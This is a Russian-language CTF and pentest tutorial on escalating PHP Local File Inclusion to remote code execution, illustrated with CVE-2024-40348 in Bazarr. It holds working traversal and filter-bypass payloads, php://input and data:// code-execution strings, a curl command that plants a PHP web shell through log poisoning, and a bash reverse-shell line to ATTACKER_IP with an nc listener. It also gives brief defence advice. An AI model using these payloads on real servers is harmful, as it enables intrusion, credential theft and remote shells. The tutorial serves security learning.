
CVE-2024-40348 — CVSS 8.2, один GET-запрос к /api/swaggerui/static в Bazarr v1.4.3, ноль аутентификации, чтение произвольных файлов на сервере. PoC на GitHub (bigb0x/CVE-2024-40348, 31 звезда) вытягивает /etc/passwd одной строкой. На CTF задачи с LFI уязвимостью выглядят точно так же: уязвимый параметр, пачка ../, содержимое /etc/passwd в ответе — и ступор. Девять из десяти участников тормозят именно тут, хотя между «прочитал passwd» и «получил shell» лежат пять-шесть конкретных техник, которые перебираются системно. Разберу полную цепочку эксплуатации LFI — от подтверждения включения файлов до reverse shell через log poisoning и PHP wrappers, с разбором каждого шага и типичных тупиков.
Первое, что нужно выяснить на CTF — тип уязвимости. Не каждое чтение файла через ../ — это LFI. Как описано в исследовании dr34mhacks, различие между Local File Inclusion и Arbitrary File Retrieval определяет весь дальнейший вектор эксплуатации. Подробнее — в нашем подробном разборе создание ctf заданий.
Local File Inclusion возникает при эксплуатации include функций PHP — include(), require(), include_once(), require_once(). Ключевой момент: включённый файл выполняется интерпретатором. Подключили config.php — PHP отработает скрипт. Увидите результат выполнения или пустую страницу, но не исходный код.
Arbitrary File Retrieval — приложение читает файл и отдаёт содержимое как текст. За это отвечают file_get_contents(), readfile(), fopen() + fread(). PHP-скрипт отобразится как plain text — исходный код на ладони.
Быстрый тест: подставьте в уязвимый параметр путь к известному PHP-файлу приложения (например, index.php). Видите исходный код с тегами <?php — File Retrieval. Видите результат выполнения или пустую страницу — LFI. При File Retrieval ищите credentials в конфигах. При LFI — стройте цепочку до удалённого выполнения кода через LFI.
Бизнес-логика атаки: злоумышленник через включение локальных файлов читает конфигурации (пароли к БД, API-ключи), вытягивает исходный код приложения для поиска дальнейших дыр и в итоге получает RCE для закрепления на сервере. В классификации MITRE ATT&CK это техника T1190 — Exploit Public-Facing Application (тактика Initial Access). По данным Mandiant M-Trends 2025, exploits — главный вектор начального доступа с долей 38% инцидентов. В OWASP Top 10 LFI подпадает под A03:2021 — Injection. Корневая слабость по MITRE CWE — CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program (likelihood: High).
Directory traversal атака — фундамент LFI эксплуатации. Последовательность ../ позволяет выпрыгнуть из директории, куда приложение ограничивает доступ, и дотянуться до произвольного файла на сервере.
Базовый пейлоад для чтения /etc/passwd уязвимость: ../../../../etc/passwd. Количество ../ зависит от глубины текущей директории. Если приложение включает файлы из /var/www/html/pages/, нужно четыре уровня до корня файловой системы. На практике проще кинуть 8-10 последовательностей — лишние ../ от корня ОС просто игнорирует.
Для Windows цели другие: ..\..\..\..\windows\win.ini или ..\..\..\..\windows\system32\drivers\etc\hosts.
Типичные фильтры и обходы:
| Фильтр | Обход | Пример |
|---|---|---|
Замена ../ на пустую строку |
Двойное вложение | ....//....//etc/passwd |
Блокировка ../ в начале |
Абсолютный путь | /etc/passwd |
| Простой URL-decode | Двойное URL-кодирование | %252e%252e%252f |
Блокировка ключевых слов (passwd) |
Альтернативные файлы | /etc/hosts, /proc/self/cmdline |
По рекомендациям Invicti, базовая санитизация и blocklist-подходы никогда не спасают — атакующие обходят их через кодирование, truncation-трюки и альтернативные представления путей. Блоклист — это иллюзия защиты.
Если приложение конкатенирует расширение к пользовательскому вводу — include($file . ".php") — атакующему нужно «обрезать» добавленный суффикс. Два рабочих метода.
Null byte (%00) — работает на PHP ниже 5.3.4. Null byte — символ-терминатор строки в C, на котором построен PHP. Файловая система видит %00 и обрезает всё после: пейлоад page=../../../../etc/passwd%00 формирует строку /etc/passwd\0.php, но ОС открывает /etc/passwd. На современных версиях PHP этот вектор мёртв, но на CTF задачи со старым PHP всплывают регулярно. Версию можно определить через заголовок X-Powered-By в HTTP-ответе или вывод phpinfo().
Path truncation — альтернатива для PHP 5.3+. В старых версиях PHP максимальная длина пути составляла 256 символов (Windows) или 4096 (Linux). Если путь превышает лимит — PHP обрезает хвост. Пейлоад: ../../../../etc/passwd + несколько сотен символов /. — суффикс .php вылетает за лимит и отбрасывается.
| Техника | Версия PHP | Предусловие | Результат |
|---|---|---|---|
Null byte %00 |
< 5.3.4 | include($file.".php") |
Обход конкатенации расширения |
| Path truncation | < 5.3 (с оговорками) | Длина пути > лимит ОС | Обрезание суффикса |
| Двойное вложение | Любая | Замена ../ на "" |
Обход строковой замены |
| URL double-encode | Любая | WAF перед приложением | Обход WAF-правил |
PHP wrappers (обёртки потоков) — встроенные протоколы для обращения к разным источникам данных. Для эксплуатации LFI уязвимости нужны три: php://filter, php://input и data://. Каждый решает свою задачу в цепочке CTF web эксплуатации.
include() выполняет PHP-файл, а не показывает его код. Обёртка php://filter пропускает содержимое файла через фильтр (base64-кодирование) до передачи интерпретатору. Закодированная строка не содержит тегов <?php — и выводится как обычный текст.
Пейлоад: page=php://filter/convert.base64-encode/resource=config.php. В ответе приходит base64-строка. Декодирование: echo "строка" | base64 -d — и перед вами исходный код config.php с паролями и ключами. Стандартный приём php://filter эксплуатации на CTF.
Что читать через php://filter на соревнованиях:
config.php, db.php, database.php — credentials для базы данныхindex.php, login.php — логика аутентификации и фильтрации ввода.htpasswd — хеши паролей для HTTP Basic Authflag.php — иногда флаг лежит как PHP-переменнаяПродвинутый вариант — php filter chain LFI. Исследователи показали, что через последовательное применение фильтров convert.iconv можно генерировать произвольный текст, включая PHP-код, без записи на диск. Это превращает php://filter из инструмента чтения в инструмент RCE. На CTF уровня hard/insane (HackTheBox, TryHackMe) такие задачи уже появляются — и их становится больше.
Если в php.ini стоит allow_url_include = On, открываются обёртки для прямого выполнения кода без записи на диск.
php://input читает сырое тело POST-запроса. Пейлоад: GET-запрос с page=php://input, а в теле POST — PHP-код <?php system('id'); ?>. Интерпретатор «включает» содержимое body и выполняет его.
data:// передаёт данные прямо в URL: page=data://text/plain,<?php system('id'); ?> или в base64: page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==. На DVWA этот вектор работает на уровне Low «из коробки» — можно проверить за минуту.
Ограничение: allow_url_include выключена по умолчанию начиная с PHP 5.2, и на продовых серверах её практически не включают. Но на CTF-стендах — другое дело. Проверить можно через phpinfo() или косвенно: если php://input возвращает результат выполнения вместо ошибки — опция включена.
Log poisoning (отравление логов) — основной метод LFI to RCE, когда allow_url_include выключена и filter chains не применимы. Идея простая: записать PHP-код в файл на сервере, затем включить этот файл через LFI. Веб-сервер записывает заголовки запросов в лог-файлы, а заголовок User-Agent полностью контролируется атакующим. Вот и весь фокус.
Предусловия (все одновременно):
www-data есть права)User-Agent, Referer)В терминах CWE это связка: CWE-98 (некорректный контроль include-путей) создаёт условие для CWE-78 — Improper Neutralization of Special Elements used in an OS Command. По MITRE, CWE-78 описывает ситуацию, когда продукт конструирует команду ОС из внешнего ввода без нейтрализации спецсимволов. Likelihood обоих — High.
Шаг первый: убедись, что лог доступен. Подставь в уязвимый параметр путь page=../../../../var/log/apache2/access.log. Если в ответе строки лога с IP-адресами, датами и User-Agent — файл читается. Не нашли? Пробуй альтернативные пути: /var/log/httpd/access_log (CentOS), /var/log/nginx/access.log, /var/log/apache2/error.log.
Шаг второй: отправь запрос с PHP-пейлоадом в User-Agent:
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
http://target.ctf/index.php
Apache записывает User-Agent в access.log. Теперь лог содержит исполняемый PHP-код. Экранирование \$_GET обязательно в bash, иначе shell подставит значение переменной — и вместо пейлоада в лог улетит пустота.
Шаг третий: включи отравленный лог и передай команду: page=../../../../var/log/apache2/access.log&cmd=id. PHP встречает тег <?php, выполняет system('id'), выводит uid=33(www-data). Для reverse shell используйте URL-encoded вариант: cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'. На атакующей машине — nc -lvnp 4444.
Типичные тупики при log poisoning LFI:
error.log — он компактнее access.logReferer вместо User-AgentНа практике самая частая боль — именно повторная отправка. Отправил кривой пейлоад, лог сломался, и дальше каждое включение access.log возвращает ошибку парсинга. На CTF это означает перезапуск стенда. На реальном сервере — access.log ротируется, и можно дождаться свежего файла (или переключиться на error.log).
Помимо логов, есть ещё два вектора записи PHP-кода на сервер.
/proc/self/environ — файл в procfs Linux, содержащий переменные окружения текущего процесса. Среди них — HTTP_USER_AGENT, который контролирует атакующий. Если www-data имеет права на чтение /proc/self/environ (бывает на криво настроенных серверах), схема аналогична отравлению логов: запрос с PHP-кодом в User-Agent, включение /proc/self/environ через LFI — код выполняется. На современных дистрибутивах доступ обычно закрыт, но на CTF проверять стоит всегда.
PHP session poisoning работает, если приложение хранит сессии в файлах (по умолчанию /var/lib/php/sessions/ или /tmp/) и пользовательский ввод попадает в данные сессии без санитизации. Типичный сценарий: приложение сохраняет username в $_SESSION['user']. Атакующий «регистрируется» с именем <?php system($_GET['cmd']); ?>, PHP записывает его в файл сессии sess_<PHPSESSID>. Затем через LFI этот файл включается. Имя файла предсказуемо: sess_ + значение cookie PHPSESSID, которое видно в браузере.
SSH auth logs — экзотика. Атакующий инициирует SSH-подключение с username, содержащим PHP-код. Код записывается в /var/log/auth.log, который потом включается через LFI. На CTF встречается редко, но в реальных пентестах задокументировано.
Сводная таблица — чтобы на CTF не перебирать вслепую, а сразу понимать, какой вектор тянуть первым.
| Техника | Версия PHP | Предусловие на сервере | Результат | Частота на CTF |
|---|---|---|---|---|
| Path traversal | Любая | Нет валидации пути | Чтение файлов | Высокая |
| php://filter | Любая | Нет | Чтение исходников (base64) | Высокая |
| Null byte %00 | < 5.3.4 | include($f.".php") |
Обход расширения | Средняя |
| php://input | Любая | allow_url_include=On |
RCE | Средняя |
| data:// | Любая | allow_url_include=On |
RCE | Средняя |
| Log poisoning | Любая | Доступ на чтение access.log | RCE | Высокая |
| Session poisoning | Любая | Ввод в $_SESSION без фильтра |
RCE | Низкая |
| /proc/self/environ | Любая | Права чтения /proc | RCE | Низкая |
| PHP filter chains | 7.0+ | Нет | RCE без записи на диск | Растёт |
Порядок проверки на CTF: path traversal (подтверждение LFI) → php://filter (чтение исходников) → log poisoning (если нужен RCE) → php://input/data:// (если allow_url_include включена) → session poisoning и /proc/self/environ (крайние варианты).
На CTF уязвимый параметр не всегда очевиден. page, file, template, include, path, doc, view, content, lang — первые кандидаты. Но включение файлов бывает спрятано в cookie, HTTP-заголовке или POST-параметре.
Систематический поиск через ffuf:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM \
-u "http://target.ctf/index.php?PARAM=../../../../etc/passwd" \
-fs 0 -mc 200
Флаг -fs 0 фильтрует пустые ответы, -mc 200 оставляет только HTTP 200. В выводе — параметры, через которые /etc/passwd читается. Для фаззинга путей берите wordlist из SecLists: Fuzzing/LFI/LFI-Jhaddix.txt содержит типовые пути с разным количеством ../ и различными целевыми файлами.
Ключевые файлы для чтения через LFI на Linux:
/etc/passwd — подтверждение LFI, список пользователей системы/etc/shadow — хеши паролей (обычно недоступен для www-data)/proc/self/environ — переменные окружения, вектор RCE/var/log/apache2/access.log, /var/log/nginx/access.log — логи для poisoning/var/lib/php/sessions/sess_<ID> — файлы сессий PHP/proc/self/cmdline — командная строка текущего процесса/home/<user>/.ssh/id_rsa — приватные ключи SSH (если повезёт с правами).env, wp-config.php — конфигурации приложений с credentialsКак отмечает Invicti, пользовательский ввод может приходить не только из query-параметров, но и из cookies, заголовков (включая User-Agent) или значений POST-запросов. На CTF нестандартные точки входа — любимый способ авторов задач усложнить жизнь.
Реальная уязвимость, которая иллюстрирует всё описанное выше. CVE-2024-40348 затрагивает Bazarr v1.4.3 — менеджер субтитров для медиасерверов. Уязвимый компонент: /api/swaggerui/static. Описание из NVD: «An issue in the component /api/swaggerui/static of Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal».
Характеристики:
CISA классифицировала решение по SSVC как «Track*» (следить и готовить патч): PoC доступен публично, эксплуатация автоматизируема, техническое воздействие — partial. На GitHub лежит PoC-репозиторий bigb0x/CVE-2024-40348, который читает /etc/passwd с уязвимого сервера одним запросом. Также есть template для Nuclei (http/cves/2024/CVE-2024-40348.yaml) для автоматизации обнаружения.
Эта уязвимость — пример Arbitrary File Retrieval, а не LFI в строгом смысле: файлы читаются, но не выполняются. Однако через чтение конфигурационных файлов Bazarr атакующий может утянуть API-ключи к связанным сервисам (Sonarr, Radarr) и развить атаку дальше — классическая цепочка эксплуатации уязвимостей.
Для CTF-контекста: задания на directory traversal часто моделируют именно такие реальные CVE. Механика одинаковая — ../ в параметр пути, обход фильтров, чтение целевого файла. Отличие продовой уязвимости — в масштабе последствий и возможности автоматизации.
Защита — MITRE D3FEND рекомендует для противодействия T1190 (Exploit Public-Facing Application): Protocol Metadata Anomaly Detection (D3-PMAD) для обнаружения аномальных паттернов в запросах и Inbound Traffic Filtering (D3-ITF) для блокировки известных пейлоадов. На практике WAF-правило, блокирующее ../ и %2e%2e%2f в URL и параметрах, останавливает примитивные попытки, но не двойное кодирование и не filter chains. По OWASP, рабочая защита — whitelist допустимых файлов через array_key_exists(), basename() для отсечения путей и директива open_basedir в php.ini, ограничивающая область файловой системы, доступную PHP (A05:2021 — Security Misconfiguration).
Последние пару лет наблюдаю одну и ту же картину: участники CTF учат LFI как «подставь ../../../etc/passwd и готово». На задачах уровня easy этого хватает. На medium и выше — нет. Реальная ценность понимания LFI — не в конкретных пейлоадах, а в логике: вы контролируете путь к файлу, который выполняется интерпретатором. Это не чтение — это выполнение. И если можете записать что-то в любой файл на сервере (лог, сессию, environ), вы контролируете исполнение кода.
На пентестах картина аналогичная. Чистая LFI без возможности эскалации до RCE встречается примерно в трети случаев — в остальных есть лог с пользовательским вводом, есть сессия с несанитизированными данными, есть /proc/self/environ с открытыми правами. Проблема не в технике — проблема в системности: нужно перебрать все векторы записи, прежде чем делать вывод «RCE невозможен».
Отдельная тема, которую русскоязычные материалы обходят стороной — PHP filter chains для генерации произвольного контента через php://filter без записи на диск. Направление активно развивается, задачи с ним становятся нормой на HackTheBox и TryHackMe. Если хочется не только читать writeup-ы, а собирать цепочку самостоятельно от нуля — на WAPT эту технику проходят в отдельных модулях с лабами на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...